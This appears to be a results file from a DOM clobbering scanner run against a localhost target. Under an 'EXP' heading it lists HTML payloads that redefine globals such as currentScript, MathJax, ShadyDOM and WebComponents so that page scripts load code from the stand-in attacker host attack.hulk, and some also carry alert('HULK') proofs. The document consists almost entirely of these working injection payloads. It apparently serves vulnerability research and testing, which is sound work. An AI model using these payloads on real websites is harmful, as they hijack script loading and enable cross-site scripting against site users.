===============URL===============
http://localhost:8080/
===============EXP===============
<img name="currentScript" src="https://attack.hulk/">
<iframe name="scripts" src="https://apis.google.com/js/api.js"></iframe><iframe name="scripts" src="https://apis.google.com/js/api.js">alert("HULK")</iframe>
<img src="https://addtoany.attack.hulk/" name="currentScript"></img>
<embed src="https://attack.hulk/" name="currentScript"></embed>
<embed src="https://addtoany.attack.hulk/" name="currentScript"></embed>
<img name="currentScript" label="<script>alert('HULK')</script>"></img>
<iframe name="scripts" src="https://apis.google.com/js/api.js"></iframe><iframe name="scripts" src="https://apis.google.com/js/api.js">alert("HULK")</iframe>
<a id="MathJax"></a><a id="MathJax" name="root" href="https://attack.hulk/"></a>
<img name="currentScript" src="blob:https://attack.hulk/"></img>
<img name="currentScript" src="https://attack.hulk/"></img>
<a id="ShadyDOM"></a><a id="ShadyDOM" name="force"></a><a id="WebComponents"></a><a id="WebComponents" name="root" href="https://attack.hulk/"></a>